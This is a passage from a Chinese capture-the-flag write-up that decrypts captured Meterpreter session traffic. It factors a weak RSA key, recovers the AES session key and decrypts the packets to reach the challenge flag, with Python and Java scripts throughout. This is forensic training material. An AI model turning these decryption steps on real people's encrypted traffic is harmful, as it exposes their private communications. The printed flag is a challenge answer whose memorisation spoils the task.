└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
公钥的类型TLVType.TLV_TYPE_RSA_PUB_KEY
的定义:
public static final int TLV_TYPE_RSA_PUB_KEY = TLVPacket.TLV_META_TYPE_RAW | 550;
public static final int TLV_META_TYPE_RAW = (1 << 18);
计算:
➜ python
Python 2.7.16 (default, Oct 25 2019, 20:31:23)
>>> hex( (1 << 18) | 550 )
'0x40226'
故看到解密后的数据包中:00 04 02 26
,的确是公钥的类型,故后面的数据从30 82
到00 01
,应该就是公钥数据,使用源码中的JAVA方法打印公钥信息:
import java.security.KeyFactory;
import java.security.PublicKey;
import java.security.spec.X509EncodedKeySpec;
class Test{
public static PublicKey getPublicKey(byte[] der) {
try{
X509EncodedKeySpec spec = new X509EncodedKeySpec(der);
return KeyFactory.getInstance("RSA").generatePublic(spec);
}
catch(Exception e){
System.out.print(e);
return null;
}
}
public static void main(String[] args) {
byte[] der = new byte[]{(byte)0x30,(byte)0x82,(byte)0x01,(byte)0x22,(byte)0x30,(byte)0x0d,(byte)0x06,(byte)0x09,(byte)0x2a,(byte)0x86,(byte)0x48,(byte)0x86,(byte)0xf7,(byte)0x0d,(byte)0x01,(byte)0x01,(byte)0x01,(byte)0x05,(byte)0x00,(byte)0x03,(byte)0x82,(byte)0x01,(byte)0x0f,(byte)0x00,(byte)0x30,(byte)0x82,(byte)0x01,(byte)0x0a,(byte)0x02,(byte)0x82,(byte)0x01,(byte)0x01,(byte)0x00,(byte)0x95,(byte)0x7d,(byte)0x4a,(byte)0xed,(byte)0x49,(byte)0xd0,(byte)0x7c,(byte)0x2d,(byte)0x12,(byte)0x5f,(byte)0x35,(byte)0xfd,(byte)0xef,(byte)0x88,(byte)0x1a,(byte)0xad,(byte)0x23,(byte)0x9f,(byte)0xc2,(byte)0xe1,(byte)0x67,(byte)0x60,(byte)0x16,(byte)0xb2,(byte)0x24,(byte)0x9a,(byte)0xa8,(byte)0x13,(byte)0x43,(byte)0x61,(byte)0xfa,(byte)0xe4,(byte)0x4c,(byte)0x12,(byte)0x89,(byte)0xcb,(byte)0xaa,(byte)0x32,(byte)0xa5,(byte)0xfa,(byte)0x8a,(byte)0x8f,(byte)0x89,(byte)0xf8,(byte)0x87,(byte)0x14,(byte)0xc0,(byte)0x90,(byte)0x17,(byte)0xe2,(byte)0xa6,(byte)0x0f,(byte)0x66,(byte)0x5e,(byte)0x24,(byte)0x7a,(byte)0xed,(byte)0xd3,(byte)0xb8,(byte)0x8c,(byte)0x2f,(byte)0x88,(byte)0xfd,(byte)0x21,(byte)0x5b,(byte)0x16,(byte)0x60,(byte)0x74,(byte)0xc3,(byte)0xa4,(byte)0x48,(byte)0x4c,(byte)0xee,(byte)0x50,(byte)0xde,(byte)0x01,(byte)0x47,(byte)0xcb,(byte)0x0c,(byte)0x60,(byte)0xcf,(byte)0x96,(byte)0xfd,(byte)0x28,(byte)0x88,(byte)0xc4,(byte)0x8b,(byte)0x1f,(byte)0x6b,(byte)0x20,(byte)0xbd,(byte)0x38,(byte)0x0d,(byte)0xe2,(byte)0x0f,(byte)0xde,(byte)0x90,(byte)0xe4,(byte)0xab,(byte)0x9c,(byte)0xca,(byte)0xe6,(byte)0xbb,(byte)0xe1,(byte)0x41,(byte)0x55,(byte)0xa7,(byte)0x7d,(byte)0x87,(byte)0x84,(byte)0x78,(byte)0x87,(byte)0x2d,(byte)0xbd,(byte)0xe8,(byte)0xa5,(byte)0x43,(byte)0xda,(byte)0xa1,(byte)0xa3,(byte)0xad,(byte)0x44,(byte)0xd2,(byte)0xcb,(byte)0x97,(byte)0xbb,(byte)0x22,(byte)0x67,(byte)0x04,(byte)0x7c,(byte)0x1e,(byte)0xe4,(byte)0x87,(byte)0xdf,(byte)0x34,(byte)0xc6,(byte)0xcd,(byte)0x61,(byte)0x48,(byte)0x86,(byte)0x7d,(byte)0xb4,(byte)0x90,(byte)0x58,(byte)0xb9,(byte)0x2a,(byte)0x71,(byte)0xda,(byte)0x42,(byte)0x99,(byte)0xf8,(byte)0x94,(byte)0x57,(byte)0x52,(byte)0xc9,(byte)0x59,(byte)0x2e,(byte)0x4c,(byte)0x2e,(byte)0x73,(byte)0x81,(byte)0x27,(byte)0x38,(byte)0xdf,(byte)0x1a,(byte)0x2f,(byte)0x97,(byte)0xc4,(byte)0xe6,(byte)0xdb,(byte)0x8c,(byte)0xb0,(byte)0xba,(byte)0x31,(byte)0xca,(byte)0xad,(byte)0xa1,(byte)0x41,(byte)0x11,(byte)0x87,(byte)0xe0,(byte)0xb5,(byte)0xda,(byte)0x4f,(byte)0x7c,(byte)0xf4,(byte)0x4a,(byte)0xb3,(byte)0x8d,(byte)0x58,(byte)0xb0,(byte)0x6e,(byte)0x31,(byte)0x0b,(byte)0x46,(byte)0xa7,(byte)0x57,(byte)0x5c,(byte)0x14,(byte)0x6d,(byte)0xc2,(byte)0x81,(byte)0xd2,(byte)0xbc,(byte)0xdf,(byte)0x56,(byte)0xe6,(byte)0x1e,(byte)0xea,(byte)0x96,(byte)0x28,(byte)0x90,(byte)0x73,(byte)0xe9,(byte)0xca,(byte)0xc0,(byte)0xf3,(byte)0xd6,(byte)0xae,(byte)0x73,(byte)0x68,(byte)0xaa,(byte)0x38,(byte)0x76,(byte)0xa2,(byte)0x3d,(byte)0x39,(byte)0xbe,(byte)0x82,(byte)0x68,(byte)0x0c,(byte)0x7a,(byte)0x39,(byte)0xd0,(byte)0xc8,(byte)0x70,(byte)0x9b,(byte)0x71,(byte)0xfb,(byte)0xce,(byte)0x61,(byte)0x0c,(byte)0x1f,(byte)0x96,(byte)0x4b,(byte)0x9b,(byte)0x71,(byte)0xee,(byte)0x57,(byte)0x42,(byte)0x98,(byte)0x49,(byte)0xe1,(byte)0xe8,(byte)0xe9,(byte)0x8f,(byte)0x02,(byte)0x03,(byte)0x01,(byte)0x00,(byte)0x01};
System.out.print(getPublicKey(der));
}
}
打印结果:
➜ javac Test.java && java Test
Sun RSA public key, 2048 bits
params: null
modulus: 18871291564770640664148800347584822680868182671984145797895532086883503360318700336495365612391409300072891881695207132365560715090292373627752017518973939673190928757510324236372389820855712170126905584127742104734451993179263410168242734908932738706692951170322096247098631087884988914459555236103979084499418787307984156821762918242074700255056333052043772599009922971042360003130449287658485508371082774995474587954191898774267366467484050606038502149717184445264754841832881405998441052692163667189562855971894479990818644527870185211990290040676461768277037843554385709513561157385466983474986006532925227067791
public exponent: 65537
大数分解: http://www.factordb.com/
p = 39157
q = 481939156849877178132870249191327800415460394616138769514915138720624750627440823773408729279347480656661436823434050932542347858372509988705774638480321262435603564050114264023607268709444343798730893176896649506715325310398227907353544319251544773774623979628727845521838524092371451195432623441631868746314038034271883873171155048703289328984762189443618576474447045765568353120270942300443994901833204152398666597394894878930136794634013091044730243627376572394840126716369522843896137413289160742384831727964207676553838254408411911331059326319086287720638400376800717866883600821959470426104809013277963763
确定AES分组长度
在源码中可以看到:
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java
public static final int ENC_AES256 = 1;
public static final int ENC_AES128 = 2;
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java
public static final int TLV_TYPE_SYM_KEY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 551;
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java
public static final int TLV_META_TYPE_UINT = (1 << 17);
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java
if (Cipher.getMaxAllowedKeyLength("AES") < 256) {
encType = Transport.ENC_AES128;
aesKey = new byte[16];
} else {
encType = Transport.ENC_AES256;
aesKey = new byte[32];
}
}
response.add(TLVType.TLV_TYPE_ENC_SYM_KEY, cipher.doFinal(aesKey));
response.add(TLVType.TLV_TYPE_SYM_KEY_TYPE, encType);
所以可以看到在aes秘钥后面会拼上AES秘钥长度,故首先异或解密出aes秘钥的流量:
aeskey = "3a7be6af3a7be6af3a7be6af3a7be6af3a7be6af3a7be6af3a7be7f23a7be6ae3a7be6a33a79e6ae3a7be6bf3a7be6863a7ae6ad0a49d69d0c4edf96024ad3990248d09a0d48de9e0349d49d024fd69f084dd2983a7be6ae327be2ad13f84c14f9f7a0fa3b7351369b7312a3ef2fe3dba4efc933fc822b9ed895cc41cdaae88abb46f256c34e39478fe13e2b67899c74234839f2431d62afa4b490feda3eeab7836632efe83320b3c2f80f9ddec9ef5622fb226aef35223bbe38fa8f297829d57da42d1fd279083363d4fa43d257941065ecbf9fc4a241e96306982e4b7342d0bf2151a4f78e9bf291efd553e6210404d7f19f71b6591ed0c966b9b424bd45739ca2655787b3101fc0f2a0c9df2c6e187e9dc582b6f3b138d96896401524a7502bad619b411c36d8232a9912bdf8ee2cbff9165aa886e64af7d2b547e4e574494354dafeaf1e1894c4f2a433dc24ffd1341d7ec1973b57df15ec5384ca7be6af367be4ad1d7be6af3b7be6af367be4af3e7be6af3a"
def de(a):
b = a.decode("hex")
key = [ord(b[0]),ord(b[1]),ord(b[2]),ord(b[3])]
c = ""
for i in range(len(b)):
c += chr( ord(b[i]) ^ (key[i%4]))
print c
de(aeskey)
结果如下:
➜ python exp.py | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│
│00000010│ 00 00 00 00 00 00 00 00 ┊ 00 00 01 5d 00 00 00 01 │00000000┊00•]000•│
│00000020│ 00 00 00 0c 00 02 00 01 ┊ 00 00 00 10 00 00 00 29 │000_0•0•┊000•000)│
│00000030│ 00 01 00 02 30 32 30 32 ┊ 36 35 39 39 38 31 35 36 │0•0•0202┊65998156│
│00000040│ 38 33 36 35 37 33 38 31 ┊ 39 32 32 32 38 34 30 30 │83657381┊92228400│
│00000050│ 32 36 34 37 00 00 00 01 ┊ 08 00 04 02 29 83 aa bb │2647000•┊•0••)×××│
│00000060│ c3 8c 46 55 01 08 b7 99 ┊ a1 08 f4 0c d5 54 05 74 │××FU••××┊ו×_×T•t│
│00000070│ 9e 94 2f 9c c6 f9 cd 31 ┊ e2 ee 2a ee f7 d1 0e 25 │××/××××1┊××*××ו%│
│00000080│ 81 3d 14 f9 f9 35 df e8 ┊ b5 9a d8 84 5d f2 7a db │×=•××5××┊××××]×z×│
│00000090│ 19 33 df 5d 79 66 84 00 ┊ 9e cf 76 51 e0 45 0c 18 │•3×]yf×0┊××vQ×E_•│
│000000a0│ b9 1d d4 40 d2 48 c6 1c ┊ f8 83 e9 32 e4 b2 09 f9 │ו×@×Hו┊×××2××_×│
│000000b0│ 18 80 c4 c5 d5 4e c4 94 ┊ 84 43 1c 20 13 03 cf 7a │•××××N××┊×C• ••×z│
│000000c0│ 47 df cb b0 e8 02 ee 9c ┊ 59 af 1c ec e8 2c 72 bf │G×××ו××┊Yו××,r×│
│000000d0│ 5f 97 59 30 fe d9 a7 46 ┊ 59 7d 7e 81 71 08 a4 7f │_×Y0×××F┊Y}~×q•ו│
│000000e0│ 85 5a b7 0b cd f5 7d 5d ┊ ab 94 33 fc dc 5a e2 ab │×Zו××}]┊××3××Z××│
│000000f0│ ed 8a 79 de 8c 22 f8 7f ┊ f3 1d 5f 1b 1e c6 a3 dc │××y××"ו┊ו_••×××│
│00000100│ a6 d9 83 f8 bd c8 f6 b0 ┊ fa 89 46 66 e5 57 88 b7 │××××××××┊××Ff×W××│
│00000110│ 44 e6 23 2d 8c 88 57 97 ┊ e3 13 70 ef 2f 5f 41 ff │D×#-××W×┊וp×/_A×│
│00000120│ 11 d6 87 34 7b 67 d0 77 ┊ 19 51 7f bd 87 83 08 83 │•××4{g×w┊•Q•××ו×│
│00000130│ 85 82 f0 f5 92 fd 00 e5 ┊ cd a9 53 e8 de 9e 92 e6 │××××××0×┊××S×××××│
│00000140│ 79 2f 3c 51 95 65 fe 3b ┊ fe 89 42 9c e6 5f 19 7e │y/<Q×e×;┊××B××_•~│
│00000150│ 0e 66 98 6e ad 40 b1 70 ┊ 2f 97 b5 2b f0 00 00 00 │•f×n×@×p┊/××+×000│
│00000160│ 0c 00 02 02 27 00 00 00 ┊ 01 00 00 00 0c 00 02 00 │_0••'000┊•000_0•0│
│00000170│ 04 00 00 00 00 0a ┊ │•0000_ ┊ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
- 从
83 aa
开始到2b f0
是RSA公钥加密后的AES
秘钥 - 后面
00 00 00 01
为秘钥长度标识,即AES256,故分组长度为256bit,即32字节
疑问:我们可以看到加密后的AES秘钥为256字节,但是AES秘钥只有32字节,这是为什么呢?一会解答就有答案了!
私钥解密AES秘钥
现在手里有RSA的 p q n e
,如何解密呢?我们先看一下加密的java代码:
PublicKey pubKey = getPublicKey(der);
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(Cipher.ENCRYPT_MODE, pubKey);
response.add(TLVType.TLV_TYPE_ENC_SYM_KEY, cipher.doFinal(aesKey));
看起来如果用java的方法应该导出个私钥文件啥的,这事可难倒我了。我对密码算法仅仅是原理性的稍有了解,而却对于加解密的代码控制,还欠缺很远,对库、各种参数的形式非常迷糊。比如我到底应该用什么形式表示这些密文,秘钥啥的?是可见的hex字符串?还是含有不可见字符的原始数据?还是base64编码后的字符串?还是0x
表示的大数?所以解密的AES秘钥的工作我就直接交给队友了,以下两种方法再次感谢楚涵和gml。
直接解密
首先想到的是直接用RSA的数学方法解密:
from Crypto.Util.number import long_to_bytes
import gmpy2
p = 481939156849877178132870249191327800415460394616138769514915138720624750627440823773408729279347480656661436823434050932542347858372509988705774638480321262435603564050114264023607268709444343798730893176896649506715325310398227907353544319251544773774623979628727845521838524092371451195432623441631868746314038034271883873171155048703289328984762189443618576474447045765568353120270942300443994901833204152398666597394894878930136794634013091044730243627376572394840126716369522843896137413289160742384831727964207676553838254408411911331059326319086287720638400376800717866883600821959470426104809013277963763
q = 39157
e = 65537
n = p*q
c = 0x83aabbc38c46550108b799a108f40cd55405749e942f9cc6f9cd31e2ee2aeef7d10e25813d14f9f935dfe8b59ad8845df27adb1933df5d796684009ecf7651e0450c18b91dd440d248c61cf883e932e4b209f91880c4c5d54ec49484431c201303cf7a47dfcbb0e802ee9c59af1cece82c72bf5f975930fed9a746597d7e817108a47f855ab70bcdf57d5dab9433fcdc5ae2abed8a79de8c22f87ff31d5f1b1ec6a3dca6d983f8bdc8f6b0fa894666e55788b744e6232d8c885797e31370ef2f5f41ff11d687347b67d07719517fbd878308838582f0f592fd00e5cda953e8de9e92e6792f3c519565fe3bfe89429ce65f197e0e66986ead40b1702f97b52bf0
m = pow(c,gmpy2.invert(e,(p-1)*(q-1)),n)
print(long_to_bytes(m))
但是这种方法解密数据出来有255字节,最后的0a是程序输出的换行:
➜ python exp.py | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 02 1a 5a a1 ae cc 6d 74 ┊ 89 93 93 71 83 c6 b7 4c │••Z×××mt┊×××q×××L│
│00000010│ 83 57 1e e6 a3 de 83 51 ┊ 5f 8e 50 df ac 6d b2 d9 │×W•××××Q┊_×P××m××│
│00000020│ 28 2e 57 b6 c5 60 b8 c0 ┊ 21 b8 58 80 69 65 73 a9 │(.W××`××┊!×X×ies×│
│00000030│ 4c e3 a2 bb a9 22 92 42 ┊ 33 fa 04 0a 2e fc c1 98 │L××××"×B┊3ו_.×××│
│00000040│ 3f fe 4a 16 29 ed d6 2b ┊ 29 f9 c7 22 30 94 33 66 │?×J•)××+┊)××"0×3f│
│00000050│ 85 b3 24 ef 03 95 41 3e ┊ af ca fc ff 7f c9 c3 f3 │××$ו×A>┊×××ו×××│
│00000060│ 03 7a 33 01 67 ac 01 1f ┊ cb 9a e3 7f 7d 6d 44 98 │•z3•gו•┊××ו}mD×│
│00000070│ 43 26 17 61 05 e5 e1 cb ┊ d2 d8 5d c6 c0 6c b5 5a │C&•a•×××┊××]××l×Z│
│00000080│ 2e cb 65 8e 9d ae 04 fc ┊ a9 41 32 d2 9f 35 45 1d │.×e××ו×┊×A2××5E•│
│00000090│ f6 bc 36 f7 66 2c 36 ef ┊ ed 17 8b 02 31 6c fd 95 │××6×f,6×┊וו1l××│
│000000a0│ fe 0e 1c 91 bc fa 39 48 ┊ 29 6d e8 b1 30 ca 0c 63 │ו•×××9H┊)m××0×_c│
│000000b0│ 73 25 98 e0 98 c9 ef 5e ┊ 56 3f 5e d9 f3 3f 31 f5 │s%×××××^┊V?^××?1×│
│000000c0│ 07 1a 6b 75 b0 fa da bb ┊ 83 c7 02 7a 18 3c c2 e0 │••ku××××┊×וz•<××│
│000000d0│ cc 71 ca 4e 57 f6 68 fa ┊ 10 e0 e9 5d 2b dc 00 bd │×q×NW×h×┊•××]+×0×│
│000000e0│ 54 1a 3c c9 5e 56 c7 8c ┊ a1 ce b9 05 f3 54 d8 ae │T•<×^V××┊××ו×T××│
│000000f0│ 61 ab 9b 89 50 4a f9 e5 ┊ 3b fa 84 bb 59 e3 02 0a │a×××PJ××┊;×××Yו_│
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
最开始以为开头的前32字节是AES秘钥,但使用此秘钥发现解密失败,想到了问题是padding,这也就是上面问题的答案。因为padding,所以AES秘钥加密后变长了。所以现在的问题是:JAVA
里的RSA/ECB/PKCS1Padding"
是怎么padding
的?如果想回避这个问题,就想办法导出秘钥直接用相应的JAVA
方法解密。我们不回避这个问题:
- “PKCS1Padding” indicates RSA with PKCS#1 v1.5 padding for encryption.
- PKCS #1: RSA Encryption Version 1.5
- RSA PKCS1padding 填充模式
所以00后就是被加密的明文数据,即AES秘钥:
bd541a3cc95e56c78ca1ceb905f354d8ae61ab9b89504af9e53bfa84bb59e302
导出私钥文件
使用p q e
即可导出私钥文件:
from Crypto.PublicKey import RSA
import gmpy2
p = 481939156849877178132870249191327800415460394616138769514915138720624750627440823773408729279347480656661436823434050932542347858372509988705774638480321262435603564050114264023607268709444343798730893176896649506715325310398227907353544319251544773774623979628727845521838524092371451195432623441631868746314038034271883873171155048703289328984762189443618576474447045765568353120270942300443994901833204152398666597394894878930136794634013091044730243627376572394840126716369522843896137413289160742384831727964207676553838254408411911331059326319086287720638400376800717866883600821959470426104809013277963763
q = 39157
e = 65537
n = p*q
priv = RSA.construct((n, long(e), long(gmpy2.invert(e, (p - 1) * (q - 1)))))
open('private.pem', 'w').write(priv.exportKey())
然后即可在python里用PKCS1_v1_5
解密,没有把俩脚本合一块是因为本以为想用私钥文件和JAVA的API去解密。
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.PublicKey import RSA
priv=RSA.importKey(open('private.pem').read())
cipher = Cipher_pkcs1_v1_5.new(priv)
a = "83aabbc38c46550108b799a108f40cd55405749e942f9cc6f9cd31e2ee2aeef7d10e25813d14f9f935dfe8b59ad8845df27adb1933df5d796684009ecf7651e0450c18b91dd440d248c61cf883e932e4b209f91880c4c5d54ec49484431c201303cf7a47dfcbb0e802ee9c59af1cece82c72bf5f975930fed9a746597d7e817108a47f855ab70bcdf57d5dab9433fcdc5ae2abed8a79de8c22f87ff31d5f1b1ec6a3dca6d983f8bdc8f6b0fa894666e55788b744e6232d8c885797e31370ef2f5f41ff11d687347b67d07719517fbd878308838582f0f592fd00e5cda953e8de9e92e6792f3c519565fe3bfe89429ce65f197e0e66986ead40b1702f97b52bf0".decode("hex")
key = cipher.decrypt(a,"")
print key.encode("hex")
输出一样是:
bd541a3cc95e56c78ca1ceb905f354d8ae61ab9b89504af9e53bfa84bb59e302
故我们成功的拿到了AES的秘钥,之后就可以去解密通信了
AES解密通信数据
首先解密一下物料里的第三个数据包,XOR异或完去掉32字节的头:
from Crypto.Cipher import AES
def aes_decrypt(data):
key = "bd541a3cc95e56c78ca1ceb905f354d8ae61ab9b89504af9e53bfa84bb59e302".decode("hex")
iv = data[:16]
cryptor = AES.new(key, AES.MODE_CBC, iv)
return cryptor.decrypt(data)
def xor_decrypt(a):
b = a.decode("hex")
key = [ord(b[0]),ord(b[1]),ord(b[2]),ord(b[3])]
c = ""
for i in range(len(b)):
c += chr( ord(b[i]) ^ (key[i%4]))
return c[0x20:]
a = "92f376fa92f376fa92f376fa92f376fa92f376fa92f376fb92f376a292f376fa42552a9a7d2350477b95164232f954a3d8d2b877a46552cabe891242c98cc55581419367f80d0873eb1bb5404e4a240569671018636fdee80bfd602b162b6614e0026c437b8e161e2a430207e8ed6dab"
print aes_decrypt(xor_decrypt(a))
可见成功解密出明文数据:
➜ python exp.py | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 53 8b 6f c5 37 90 5b 15 ┊ 2e e4 d4 da 1b 97 3f e0 │S×o×7×[•┊.××ו×?×│
│00000010│ 00 00 00 0c 00 02 00 01 ┊ 00 00 00 0d 00 00 00 29 │000_0•0•┊000_000)│
│00000020│ 00 01 00 02 39 35 35 36 ┊ 31 33 33 34 34 34 36 30 │0•0•9556┊13344460│
│00000030│ 38 34 34 36 39 38 31 33 ┊ 39 36 32 31 39 30 38 31 │84469813┊96219081│
│00000040│ 30 37 37 30 00 0b 0b 0b ┊ 0b 0b 0b 0b 0b 0b 0b 0b │07700•••┊••••••••│
│00000050│ 0a ┊ │_ ┊ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
然后解密全部数据包,最终发现流量:
比赛时没有快速的找到这个流量,因为在解密里的流量还存在着jpg和apk,以为还套了其他的东西,卡了两个小时…
from Crypto.Cipher import AES
def aes_decrypt(data):
key = "bd541a3cc95e56c78ca1ceb905f354d8ae61ab9b89504af9e53bfa84bb59e302".decode("hex")
iv = data[:16]
cryptor = AES.new(key, AES.MODE_CBC, iv)
return cryptor.decrypt(data)
def xor_decrypt(a):
b = a.decode("hex")
key = [ord(b[0]),ord(b[1]),ord(b[2]),ord(b[3])]
c = ""
for i in range(len(b)):
c += chr( ord(b[i]) ^ (key[i%4]))
return c[0x20:]
a = "0b3edb603af6a39a6873983b9199917e34d645f80b3edb610b3edbb80b3edb6103192fadf46f7d96a7076ce33205c8a2bcede8f6fdc0abffdc7d9f6e5d55958201e8fab2d7023c8c6614344b098ce28d299240a522f12296be37ab636b1df56a02c1060f9194c218eff94f43a8ada1fc88e304be1ee3b2570dc55a10be014f3e7f922db337aca8267739be3583d34db3aa4a20d5682b73ea5912b913e4f3d25a970f962fee1d36799a7f5d5aa1640b90e6f6dba4f0f4ddae411020625c22da11ccdffc221774c9cfce132edec450a94d0621e1facbe20de2cf3e9b5091f8bcf7f99ef28e43d6a8bef477084812a1399c"
print aes_decrypt(xor_decrypt(a))
成功解出flag:ByteCTF{K1ng_0f_Pc4p}
➜ kop python exp.py | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ e2 97 ac 50 e5 be 67 15 ┊ bc 27 90 cb 95 16 87 2f │×××P××g•┊×'××ו×/│
│00000010│ 00 00 00 0c 00 02 00 01 ┊ 00 00 13 8d 00 00 00 29 │000_0•0•┊00•×000)│
│00000020│ 00 01 00 02 39 33 38 38 ┊ 38 37 35 32 31 35 34 30 │0•0•9388┊87521540│
│00000030│ 35 30 36 39 36 35 30 37 ┊ 33 33 34 33 34 36 38 34 │50696507┊33434684│
│00000040│ 36 30 36 39 00 00 00 00 ┊ 0c 00 02 00 04 00 00 00 │60690000┊_0•0•000│
│00000050│ 00 00 00 00 18 00 04 01 ┊ cd c1 b8 f2 6a 5b 3d 05 │0000•0••┊××××j[=•│
│00000060│ a0 14 b8 17 ab 4b 70 ec ┊ 8a 00 00 00 5d 40 00 71 │וו×Kp×┊×000]@0q│
│00000070│ 4f 00 00 00 25 00 01 71 ┊ 52 43 61 70 74 75 72 65 │O000%0•q┊RCapture│
│00000080│ 20 54 68 65 20 46 6c 61 ┊ 67 20 42 79 74 65 20 64 │ The Fla┊g Byte d│
│00000090│ 61 6e 63 65 72 00 00 00 ┊ 00 12 00 01 71 50 32 30 │ancer000┊0•0•qP20│
│000000a0│ 32 30 20 31 32 31 32 00 ┊ 00 00 00 1e 00 01 71 51 │20 12120┊000•0•qQ│
│000000b0│ 42 79 74 65 43 54 46 7b ┊ 4b 31 6e 67 5f 30 66 5f │ByteCTF{┊K1ng_0f_│
│000000c0│ 50 63 34 70 7d 00 0a 0a ┊ 0a 0a 0a 0a 0a 0a 0a 0a │Pc4p}0__┊________│
│000000d0│ 0a ┊ │_ ┊ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘